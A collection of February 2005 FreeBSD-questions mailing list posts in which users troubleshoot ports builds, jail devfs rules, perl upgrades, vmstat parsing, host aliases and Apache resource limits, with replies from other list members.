portsdb error

2005-02-09 Thread Petre Bandac
how ca I get rid of the errors in the Makefiles ?

I'm getting tired of not being able to keep my ports database up-to-date

thanks,

petre


xxl# portsdb -Uu
Updating the ports index ... Generating INDEX.tmp - please
wait../usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Ma
kefile, line 53: warning: String comparison operator should be either
== or !=
/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile
, line 53: Malformed conditional ((${OSVERSION}  503001 
${OSVERSION} = 50) || (${OSVERSION} = 492000))
/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile
, line 53: Missing dependency operator
/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile
, line 55: if-less endif
/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile
, line 55: Need an operator
/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma
kefile.knobs, line 30: warning: String comparison operator should be
either == or !=
/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma
kefile.knobs, line 30: Malformed conditional ((${OSVERSION}  503001 
${OSVERSION} = 50) || (${OSVERSION}  492000))
/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma
kefile.knobs, line 30: Missing dependency operator
/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma
kefile.knobs, line 44: if-less endif
/usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma
kefile.knobs, line 44: Need an operator
make: fatal errors encountered -- cannot continue
=== arabic/openoffice-1.1 failed
*** Error code 1


-- 
Login: petreName: Petre Bandac
Directory: /home/petre  Shell: /usr/local/bin/zsh
On since Mon Feb  7 09:27 (EET) on ttyv0, idle 2 days 0:36 (messages
off)
Last login Tue Feb  8 20:49 (EET) on ttypa from 213.157.185.173
New mail received Mon May 24 19:09 2004 (EEST)
 Unread since Tue Feb 17 12:31 2004 (EET)
No Plan.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Perl modules

2005-02-09 Thread Olivier Nicole
Thanks it seems to do the trick.

olivier
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: diff: memory exhausted

2005-02-09 Thread Sergey Matveychuk
Chuck Swiger wrote:
Sergey Matveychuk wrote:
How can I compare two big text files?

Does the -H option help any?  (How big is big?)
-H does not help. With the same message.
It an output of mysqldump. 12Mb.
--
Sem.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: ruby-1.8.2_2 failed to install under Freebsd 5.3 release on AMD64

2005-02-09 Thread jacula
Bachelier Vincent wrote:
Hi, I have a problem to install this programs
In fact I want to use port version of portupgrade and it need ruby,
but this version wouldn't install
This is le log
===  Installing for ruby-1.8.2_2
===   Generating temporary packing list
===  Checking if lang/ruby18 already installed
./miniruby ./instruby.rb --dest-dir=  --make=make  --mflags= -j
3  --make-flags= ARCH=amd64 OPSYS=FreeBSD OSREL=5.3 OSVERSION=503001
PORTOBJFORMAT=elf SYSTEMVERSION= -j 3 --mantype=doc
install -c -p -m 0755 ruby18 /usr/local/bin/ruby18
./miniruby ./ext/extmk.rb --dest-dir=  --make=make  --mflags= -j
3  --make-flags= ARCH=amd64 OPSYS=FreeBSD OSREL=5.3 OSVERSION=503001
PORTOBJFORMAT=elf SYSTEMVERSION= -j 3 install
Do you have an idea ?
Hi Vincent.
Idem here for me:
http://lists.freebsd.org/pipermail/freebsd-ports/2005-February/020660.html
My solution:
http://lists.freebsd.org/pipermail/freebsd-ports/2005-February/020512.html
The attached makefile work for me.
Bye Jacula
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: diff: memory exhausted

2005-02-09 Thread Sergey Matveychuk
Dan Nelson wrote:

 or you can try installing the textproc/2bsd-diff
port which apparently doesn't try to load the files into RAM, so it can
work on large files more easily.
Yes! That's it. Thanks!
--
Sem.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: jail /dev

2005-02-09 Thread r p
On Tue, 8 Feb 2005 10:47:17 -0700, Chad Leigh -- Shire. Net LLC
[EMAIL PROTECTED] wrote:
 
 I have the following in my jail startup script
 
 devfs_domount /local/2/hobbiton/dev devfsrules_jail
 devfs_set_ruleset devfsrules_jail /local/2/hobbiton/dev
 /sbin/devfs -m /local/2/hobbiton/dev rule -s 4 applyset
 
 I am not sure which one is working but one of them is :-)   I will have
 to debug it some more and simplify this

Thanks for your reply.

I put those lines in my jail startup script, substituting my own path
to the jail, but 'devfs_domount and 'devfs_set_ruleset' seem to be
missing, and I still get the same error for the 'devfs -m ...'
command;

devfs_domount: not found
devfs_set_ruleset: not found
devfs rule: ioctl DEVFSIO_SAPPLY: Inappropriate ioctl for device

I've searched my system and can't find 'devfs_domount' or 'devfs_set_ruleset'.

Maybe you could attach a file showing what devices are created with
these commands, and i'll just write a line to delete the uneeded
devices in startup script.

This is really frustrating me :)

Richard



 On Feb 8, 2005, at 8:32 AM, r p wrote:
 
  Hi,
 
  I've set up a jail and am getting confused about setting up the
  devices. The name of the jail is jail and it's directory is
  /usr/jail. I am using 5.3-Release. I have tried three methods, one
  that works, two that don't.
 
  At the moment what I'm doing is mount_devfs devfs /usr/jail/dev then
  going into the jail and deleting the devices that I (think) I don't
  need/shouldn't have available. This works, but brings up the problem
  that I don't know what devices I should leave in and which I
  shouldn't.
 
  I tried adding the line jail_jail_devfs_ruleset=4 along with other
  suggested lines relating to jails to /etc/rc.conf, but this resulted

  in an error message at bootup; WARNING: devfs_set_ruleset: you must
  specify a ruleset number. I am getting the number (4) from the
  /etc/defaults/devfs.rules file.

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: portsdb error

2005-02-09 Thread Loren M. Lang
On Wed, Feb 09, 2005 at 10:04:42AM +0200, Petre Bandac wrote:
 how ca I get rid of the errors in the Makefiles ?
 
 I'm getting tired of not being able to keep my ports database up-to-date
 
 thanks,
 
 petre

Instead of portsdb -Uu, do make fetchindex in /usr/ports, then do
portsdb -u by itself.

 
 
 xxl# portsdb -Uu
 Updating the ports index ... Generating INDEX.tmp - please
 wait../usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Ma
 kefile, line 53: warning: String comparison operator should be either
 == or !=
 /usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile
 , line 53: Malformed conditional ((${OSVERSION}  503001 
 ${OSVERSION} = 50) || (${OSVERSION} = 492000))
 /usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile
 , line 53: Missing dependency operator
 /usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile
 , line 55: if-less endif
 /usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/Makefile
 , line 55: Need an operator
 /usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma
 kefile.knobs, line 30: warning: String comparison operator should be
 either == or !=
 /usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma
 kefile.knobs, line 30: Malformed conditional ((${OSVERSION}  503001 
 ${OSVERSION} = 50) || (${OSVERSION}  492000))
 /usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma
 kefile.knobs, line 30: Missing dependency operator
 /usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma
 kefile.knobs, line 44: if-less endif
 /usr/ports/arabic/openoffice-1.1/../../editors/openoffice-1.1/files/Ma
 kefile.knobs, line 44: Need an operator
 make: fatal errors encountered -- cannot continue
 === arabic/openoffice-1.1 failed
 *** Error code 1
 
 
 -- 
 Login: petre  Name: Petre Bandac
 Directory: /home/petreShell: /usr/local/bin/zsh
 On since Mon Feb  7 09:27 (EET) on ttyv0, idle 2 days 0:36 (messages
 off)
 Last login Tue Feb  8 20:49 (EET) on ttypa from 213.157.185.173
 New mail received Mon May 24 19:09 2004 (EEST)
  Unread since Tue Feb 17 12:31 2004 (EET)
 No Plan.
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to [EMAIL PROTECTED]

-- 
I sense much NT in you.
NT leads to Bluescreen.
Bluescreen leads to downtime.
Downtime leads to suffering.
NT is the path to the darkside.
Powerful Unix is.

Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc
Fingerprint: B3B9 D669 69C9 09EC 1BCD  835A FAF3 7A46 E4A3 280C
 
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: vinum in 4.x poor performer?

2005-02-09 Thread Loren M. Lang
On Wed, Feb 09, 2005 at 02:32:30AM -0400, Marc G. Fournier wrote:
 
 Is there a command that I can run that provide me the syscall/sec value, 
 that I could use in a script?  I know vmstat reports it, but is there an 
 easier way the having to parse the output? a perl module maybe, that 
 already does it?

vmstat shouldn't be too hard to parse, try the following:

vmstat|tail -1|awk '{print $15;}'

To print out the 15th field of vmstat.  Now if you want vmstat to keep
running every five seconds or something, it's a little more complicated:

vmstat 5|grep -v 'procs\|avm'|awk '{print $15;}'

 
 Thanks ...
 
 On Wed, 9 Feb 2005, Marc G. Fournier wrote:
 
 On Tue, 8 Feb 2005, Dan Nelson wrote:
 
 Details on the array's performance, I think.  Software RAID5 will
 definitely have poor write performance (logging disks solve that
 problem but vinum doesn't do that), but should have excellent read
 rates.  From this output, however:
 
 systat -v output help:
 4 usersLoad  4.64  5.58  5.77
 
 Proc:r  p  d  s  wCsw  Trp  Sys  Int  Sof  Flt
 24 9282   949 8414*  678  349 8198
 
 54.6%Sys   0.2%Intr 45.2%User  0.0%Nice  0.0%Idl
 
 Disks   da0   da1   da2   da3   da4 pass0 pass1
 KB/t   5.32  9.50 12.52 16.00  9.00  0.00  0.00
 tps  23 2 4 3 1 0 0
 MB/s   0.12  0.01  0.05  0.04  0.01  0.00  0.00
 % busy3 1 1 1 0 0 0
 
 , it looks like your disks aren't being touched at all.  You are doing
 over 9 syscalls/second, though, which is mighty high.  The 50% Sys
 doesn't look good either.  You may have a runaway process doing some
 syscall over and over.  If this is not an MPSAFE syscall (see
 /sys/kern/syscalls.master ), it will also prevent other processes from
 making non-MPSAFE syscalls, and in 4.x that's most of them.
 
 Wow, that actually pointed me in the right direction, I think ... I just 
 killed an http process that was using alot of CPU, and syscalls drop'd 
 down to a numeric value again ... I'm still curious as to why this only 
 seem sto affect my Dual-Xeon box though :(
 
 Thanks ...
 
 
 Marc G. Fournier   Hub.Org Networking Services (http://www.hub.org)
 Email: [EMAIL PROTECTED]   Yahoo!: yscrappy  ICQ: 7615664
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to 
 [EMAIL PROTECTED]
 
 
 
 Marc G. Fournier   Hub.Org Networking Services (http://www.hub.org)
 Email: [EMAIL PROTECTED]   Yahoo!: yscrappy  ICQ: 7615664
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to [EMAIL PROTECTED]

-- 
I sense much NT in you.
NT leads to Bluescreen.
Bluescreen leads to downtime.
Downtime leads to suffering.
NT is the path to the darkside.
Powerful Unix is.

Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc
Fingerprint: B3B9 D669 69C9 09EC 1BCD  835A FAF3 7A46 E4A3 280C
 
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Gettext wont install

2005-02-09 Thread Loren M. Lang
On Tue, Feb 08, 2005 at 12:40:14PM +, Elfar Ingvarsson wrote:
 I'm getting this error while trying to reinstall gettext port version 0.14.1
 This is the error I'm getting

Try doing a make clean in the port directory and starting over.  If that
fails, updating your ports tree might fix the problem.

 
 Making install in lib
 Making install in libasprintf
 mkdir -p -- . /usr/local/lib
 /bin/sh /usr/local/bin/libtool15 --mode=install /usr/bin/install -c -o
 root -g wheel  libasprintf.la /usr/local/lib/libasprintf.la
 /usr/bin/install -c -o root -g wheel .libs/libasprintf.so.0
 /usr/local/lib/libasprintf.so.0
 install: .libs/libasprintf.so.0: No such file or directory
 *** Error code 71
 
 Stop in 
 /usr/ports/devel/gettext/work/gettext-0.14.1/gettext-runtime/libasprintf.
 *** Error code 1
 
 Stop in 
 /usr/ports/devel/gettext/work/gettext-0.14.1/gettext-runtime/libasprintf.
 *** Error code 1
 
 Stop in /usr/ports/devel/gettext/work/gettext-0.14.1/gettext-runtime.
 *** Error code 1
 
 Stop in /usr/ports/devel/gettext/work/gettext-0.14.1.
 *** Error code 1
 
 Stop in /usr/ports/devel/gettext.
 
 Im running FreeBSD 5.3-STABLE FreeBSD 5.3-STABLE #0: Sun Jan 30
 16:28:03 GMT 2005
 
 any hints would be appreciated
 
 elfar
 
 PS: please cc me, I'm not on the list
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to [EMAIL PROTECTED]

-- 
I sense much NT in you.
NT leads to Bluescreen.
Bluescreen leads to downtime.
Downtime leads to suffering.
NT is the path to the darkside.
Powerful Unix is.

Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc
Fingerprint: B3B9 D669 69C9 09EC 1BCD  835A FAF3 7A46 E4A3 280C
 
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: handling multiple ips on a box?

2005-02-09 Thread Loren M. Lang
On Mon, Feb 07, 2005 at 09:51:01AM -0500, Ken Hawkins wrote:
 
 Your message
 
   To:  'freebsd-questions@freebsd.org'
   Subject: handling multiple ips on a box?
   Sent:Wed, 2 Feb 2005 10:17:55 -0600
 
 did not reach the following recipient(s):
 
 'freebsd-questions@freebsd.org' on Fri, 4 Feb 2005 10:18:33 -0600
 The message was undeliverable because the recipient specified in the
 recipient postal address was not known at this address
   The MTS-ID of the original message is: c=US;a=
 ;p=Broadjam;l=HERMES-050202161755Z-19504
 MSEXCH:IMS:Broadjam:HQ:HERMES 3450 (000B09AA) 450 Client host
 rejected: cannot find your hostname, [68.249.86.134]
 
 
 
 From: Ken Hawkins [EMAIL PROTECTED]
 Date: February 2, 2005 11:17:55 AM EST
 To: 'freebsd-questions@freebsd.org' freebsd-questions@freebsd.org
 Subject: handling multiple ips on a box?
 
 
 Sorry if this is not quite the place to ask however, if it is not can
 someone point me toward the right resource (on the net) for answers. I
 am
 running FreeBSD on a box with an ethernet;
 ifconfig
 em0: flags=8843UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST mtu 1500
 options=1bRXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING
 inet ???.???.???.151 netmask 0x broadcast 10.50.255.255
 inet6 fe80::230:48ff:fe2c:76e2%em0 prefixlen 64 scopeid 0x1
 inet ???.???.???.152 netmask 0x broadcast 10.50.1.152
 inet ???.???.???.153 netmask 0x broadcast 10.50.1.153
 ether 00:30:48:2c:76:e2
 media: Ethernet 100baseTX full-duplex
 status: active
 
 the ??? are just our ips. you will notice that .152 and .153 are
 aliases
 and are mapped to external ips via a switch. my question is how can I
 resolve names to the ip aliases on the box? ie
 
 ???.???.???.152 - a.net
 
 and
 
 ???.???.???.153 - b.net
 
 is this a /etc/hosts kind of entry?
 
 ???.???.???.152web1.a.net web1
 ???.???.???.152web1.a.net.
 ???.???.???.153web1.b.net web1
 ???.???.???.153web1.b.net.

I'm assuming the ???'s in the hosts file are 10.50.1, right?

Remove the 2nd and 4th lines, and that the alias web1 occurs twice is bad.
Otherwise it should be fine.

 
 any help would be greatly appreciated!
 
 ken;
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to [EMAIL PROTECTED]

-- 
I sense much NT in you.
NT leads to Bluescreen.
Bluescreen leads to downtime.
Downtime leads to suffering.
NT is the path to the darkside.
Powerful Unix is.

Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc
Fingerprint: B3B9 D669 69C9 09EC 1BCD  835A FAF3 7A46 E4A3 280C
 
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Failures after upgrading perl

2005-02-09 Thread Jim Hatfield
I have a 4.7-based system I use as a mail gateway. Yesterday I
did a portupgrade of perl from 5.6.1 to 5.6.2. Today I find that
I have no incoming mail, due to mimedefang no longer functioning:

Feb  9 09:56:39 highland mimedefang-multiplexor[91186]: Slave 0 stderr: Can't 
locate MIME/Base64.pm in @INC (@INC contains: 
/usr/local/lib/perl5/site_perl/5.6.1 /usr/local/lib/perl5/site_perl/5.6.2/mach 
/usr/local/lib/perl5/site_perl/5.6.2 
/usr/local/lib/perl5/site_perl/5.005/i386-freebsd 
/usr/local/lib/perl5/site_perl/5.005 /usr/local/lib/perl5/site_perl 
/usr/local/lib/perl5/5.6.2/BSDPAN /usr/local/lib/perl5/5.6.2/mach 
/usr/local/lib/perl5/5.6.2 .) at 
/usr/local/lib/perl5/site_perl/5.6.1/MIME/Words.pm line 85. BEGIN 
failed--compilation aborted at /usr/local/lib/perl5/site_per

But pkg_info shows p5-MIME-Base64 as present!
And it is, but not on any of the directories on the @INC path:

highland# find /usr/local/lib -name Base64.pm -print
/usr/local/lib/perl5/site_perl/5.6.1/mach/MIME/Base64.pm
/usr/local/lib/perl5/site_perl/5.6.1/MIME/Decoder/Base64.pm

If I try a portupgrade -f it seems to get confused about perl
versions:

highland# portupgrade -f p5-MIME-Base64
---  Reinstalling 'p5-MIME-Base64-3.05' (converters/p5-MIME-Base64)
---  Building '/usr/ports/converters/p5-MIME-Base64'
===  Cleaning for perl-5.6.2_2
===  Cleaning for p5-MIME-Base64-3.05
===  Vulnerability check disabled
===  Extracting for p5-MIME-Base64-3.05
= Checksum OK for MIME-Base64-3.05.tar.gz.
===   p5-MIME-Base64-3.05 depends on file: /usr/local/bin/perl5.6.1 - not 
found
===Verifying install for /usr/local/bin/perl5.6.1 in /usr/ports/lang/perl5
===  Vulnerability check disabled
===  Extracting for perl-5.6.2_2
= Checksum OK for perl-5.6.2.tar.gz.
= Checksum OK for BSDPAN-5.6.2.tar.gz.

It seems to think it's dependent on perl 5.6.1, which isn't present,
then wants to install 5.6.2, which is already installed.

Do I have to remove and reinstall all the perl addons due to the
upgrade of the perl version?

And what's the mach directory for?
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Failures after upgrading perl

2005-02-09 Thread Erik Norgaard
Jim Hatfield wrote:
I have a 4.7-based system I use as a mail gateway. Yesterday I
did a portupgrade of perl from 5.6.1 to 5.6.2. Today I find that
I have no incoming mail, due to mimedefang no longer functioning:
But pkg_info shows p5-MIME-Base64 as present!
And it is, but not on any of the directories on the @INC path

It seems to think it's dependent on perl 5.6.1, which isn't present,
then wants to install 5.6.2, which is already installed.
Do I have to remove and reinstall all the perl addons due to the
upgrade of the perl version?
You should read UPDATING in your ports directory, there you'll find the 
instructions on how to update perl:

20050201:
  AFFECTS: users of lang/perl5 and lang/perl5.8
  lang/perl5 has been updated to 5.6.2, and lang/perl5.8 has been
  updated to 5.8.6. you should update everything depending on perl, that
  is:
* first, upgrade your perl installation (use either lang/perl5 or
  lang/perl5.8, the latter being recommended);
* for FreeBSD 4.X, run use.perl port, so that the system knows you
  have 5.8.6 or 5.6.2;  this step is not needed on FreeBSD 5.X and
  FreeBSD -CURRENT;
* run some magic incantations to upgrade all ports depending on perl,
  that is run something like :
  portupgrade -f `(pkg_info -R perl-5\* |tail +4; \
find /usr/local/lib/perl5/site_perl/5.[68].[1245] -type f -print0 \
| xargs -0 pkg_which -fv | sed -e '/: ?/d' -e 's/.*: //')|sort -u`
  This is likely to fail for a few ports, you'll have to upgrade them
  afterwards by hand.
Cheers, Erik
--
Ph: +34.666334818   web: http://www.locolomo.org
S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt
Subject ID:  A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9
Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Failures after upgrading perl

2005-02-09 Thread Jim Hatfield
On Wed, 9 Feb 2005 10:07:59 - , in local.freebsd.questions you
wrote:

I have a 4.7-based system I use as a mail gateway. Yesterday I
did a portupgrade of perl from 5.6.1 to 5.6.2. Today I find that
I have no incoming mail, due to mimedefang no longer functioning:

Bang my head against a wall and repeat ten times: I will read
/usr/ports/UPDATING *before* I do a portupgrade, not after!.

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: problem with realplayer

2005-02-09 Thread Loren M. Lang
On Tue, Feb 08, 2005 at 09:33:25PM -0600, Brian John wrote:
 Loren M. Lang wrote:
 
 On Mon, Feb 07, 2005 at 10:37:58PM -0600, Brian John wrote:
  
 
 Loren M. Lang wrote:
 

 
 On Sun, Feb 06, 2005 at 01:41:35AM -0600, Brian John wrote:
 
 
  
snip

 snip
  
 
 Thanks
 
 /Brian
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to 
 [EMAIL PROTECTED]
  
 

 
 
  
 
 It looks like it is already installed.  This is what it says when I try 
 to install it:
 = Attempting to fetch from 
 http://fedora.quicknet.nl/fedora/fedora/2/i386/RPMS.updates/.
 gdk-pixbuf-0.22.0-11.3.5.i386.rpm 100% of  222 kB   52 kBps
 ===  Extracting for linux-gdk-pixbuf-0.22.0.11.3.5_1
 = Checksum OK for rpm/gdk-pixbuf-0.22.0-11.3.5.i386.rpm.
 ===  Patching for linux-gdk-pixbuf-0.22.0.11.3.5_1
 ===   linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on executable: rpm - found
 ===  Configuring for linux-gdk-pixbuf-0.22.0.11.3.5_1
 ===  Installing for linux-gdk-pixbuf-0.22.0.11.3.5_1
 ===   linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on file: 
 /compat/linux/etc/redhat-release - found
 ===   Generating temporary packing list
 ===  Checking if graphics/linux-gdk-pixbuf already installed
 gdk-pixbuf-0.22.0-11.3.5.i386.rpm
 
 Any other clue what might have caused this?
 
 Thanks for the help
 
 /Brian

 
 
  
 
 I already tried uninstalling realplayer and gdk-pixbuf using make 
 deinstall and make reinstall in those ports.  I installed realplayer 
 from ports.  How can I install linux-base-rh-9?  I would like to try that.

Here's an idea, since linux_base is already installed, try:

portupgrade -o emulators/linux_base-rh-9 /var/db/pkg/linux_base-*

This tells portupgrade to upgrade the linux_base port, but use the
origin for the rh9 version.  I'm not certain this will work, but it's
worth a try.  I just did a pkg_create -b linux_base-* to make a backup,
then pkg_delete -f linux_base-* and portinstall emulators/linux_base-rh-9.

 
 thanks
 
 /Brian

-- 
I sense much NT in you.
NT leads to Bluescreen.
Bluescreen leads to downtime.
Downtime leads to suffering.
NT is the path to the darkside.
Powerful Unix is.

Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc
Fingerprint: B3B9 D669 69C9 09EC 1BCD  835A FAF3 7A46 E4A3 280C
 
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: favor

2005-02-09 Thread Loren M. Lang
On Tue, Feb 08, 2005 at 11:06:13PM -0800, Ted Mittelstaedt wrote:
 
 
  -Original Message-
  From: [EMAIL PROTECTED]
  [mailto:[EMAIL PROTECTED] Behalf Of Loren M. Lang
  Sent: Tuesday, February 08, 2005 9:33 PM
  To: freebsd-questions@freebsd.org
  Subject: Re: favor
 
 
  What if I wanted to put up a page of emails that I wrote and sent to,
  say, the freebsd questions mailing list.  Since they are
  replies to other
  peoples emails, it includes bits of what they wrote, but it may be
  relavent to understanding my reply.  Now, of course I'll remove all
  headers and mangle all email addresses, but, since it includes their
  ideas, can I still post it on a website for others to read who may be
  having the same problems?
 
 
 This is called making a collection, and strictly you are supposed to
 get permission from each person to include what they say.
 
 However, in this case, it is most likely each person is just repeating
 to your answer some response they heard from someone else, or got from
 a manual, or some such.  For example you post asking for an example of
 a /etc/printcap and someone replies - while technically that's his
 copyrighted material, if he simply copies an example already in the
 /etc/printcap file with a few explanations, it's not his copyrighted
 material since it belongs to the BSD copyight - except that the
 BSD copyright allows you to do this

Actually, I was referring more to the idea of posting my responces to
other people questions.  For instance, I recently posted several
responces for the thread about xhost and x authentication explaining in
detail how x auth works.  Now if questions come up again here or
elsewhere, I don't want to have to repost everything I wrote, just refer
to a url.  Some of it I do plan to rewrite, but I haven't had time to
rewrite all the emails I think would be useful to post.  Since there
usually available in some form in an archive, I thought it would be
convient to just archive them on my site as well.  All the emails are
ones that I've sent, but include quoted text from the original email.

 
 It is far better to simply rewrite the responses that you get, besides
 making them more cohesive and easier to understand, when you do this
 you avoid the copyright issue.  Ideas cannot be copyrighted -
 for example I can see a SpongeBob Squarepants cartoon where the
 Sponge gets flushed and jams the crapper - I can then write a story about
 a talking toilet brush that gets flushed and jams the crapper - no
 infringement there.  That is after all how 99% of television writing is
 done today.  Ideas can be patented though and images can be trademarked.
 So I best make sure the toilet brush in my story doesen't look yellow,
 spongey and square.
 
 Ted

-- 
I sense much NT in you.
NT leads to Bluescreen.
Bluescreen leads to downtime.
Downtime leads to suffering.
NT is the path to the darkside.
Powerful Unix is.

Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc
Fingerprint: B3B9 D669 69C9 09EC 1BCD  835A FAF3 7A46 E4A3 280C
 
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: 16MB memory requirement for 5.3 install (Re: cracked outfloppy install)

2005-02-09 Thread Ramiro Aceves
I think it is a bug because there are some boneheaded older systems
that have broken BIOSes where FreeBSD can only detect 16MB of ram
without recompiling the kernel.
I have just submitted a bug report. I am wainting for the confirmation.
Thanks.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


configuracion en la red

2005-02-09 Thread Gustavo Granados
como se configura en la red ?

Gracias 
Gustavo
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: php4-extentions

2005-02-09 Thread Cezar Fistik
Hi,

Try 'make config' in php-extesions port's directory.

regards,
Cezar

- Original Message - 
From: Chris Knipe [EMAIL PROTECTED]
To: freebsd-questions@freebsd.org
Sent: Wednesday, February 09, 2005 1:50 AM
Subject: php4-extentions


 ===  Vulnerability check disabled, database not found
 ===  Found saved configuration for php4-extensions-1.0
 ===  Extracting for php4-extensions-1.0

 Where's the configuration saved? I need to reconfigure it..

 --
 Chris.
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to
[EMAIL PROTECTED]



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


firefox creating oddly named profile directories

2005-02-09 Thread Dick Davies

anyone else seeing this?

I rebuilt my laptop yesterday after an 'incident'
(tip of the week; don't mix up ad0 and da0) and rsynced bacx
/etc /home and /root, then pkg_add -r'ed my way back to a desktop
without too much bother.

But firefox (latest one with the hole, 1.0.7mumblemumble)
refuses to use the old ~/.mozilla/firefox profile folder,
instead it creates 4 new ones with gibberish names (start with .h
and then unprintable characters).

Anyone have a clue why?

-- 
'Ugh, it's like there's a party in my mouth and everyone's throwing up.'
-- Fry
Rasputin :: Jack of All Trades - Master of Nuns
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


FreeBSD 4.10 and Apache 2.0.5x: setting limits

2005-02-09 Thread Sander Holthaus - Orange XL
You can set the limits (ulimit) for Apache 2 through a variable
(apache2limits_args enabled by apache2limits_enable) in rc.conf. If enabled,
it uses, by default, the limits for login-class daemon as found in
/etc/login.class;
 
daemon:\
   :coredumpsize@:\
   :coredumpsize-cur=0:\
   :datasize=infinity:\
   :datasize-cur@:\
   :maxproc=512:\
   :maxproc-cur@:\
   :memoryuse-cur=64M:\
   :memorylocked-cur=64M:\
   :openfiles=1024:\
   :openfiles-cur@:\
   :stacksize=16M:\
   :stacksize-cur@:\
   :tc=default:

 
I take it these settings are quite general, and may not be sufficient (to
restrictive or not). So I was wondering what kind of limits other users are
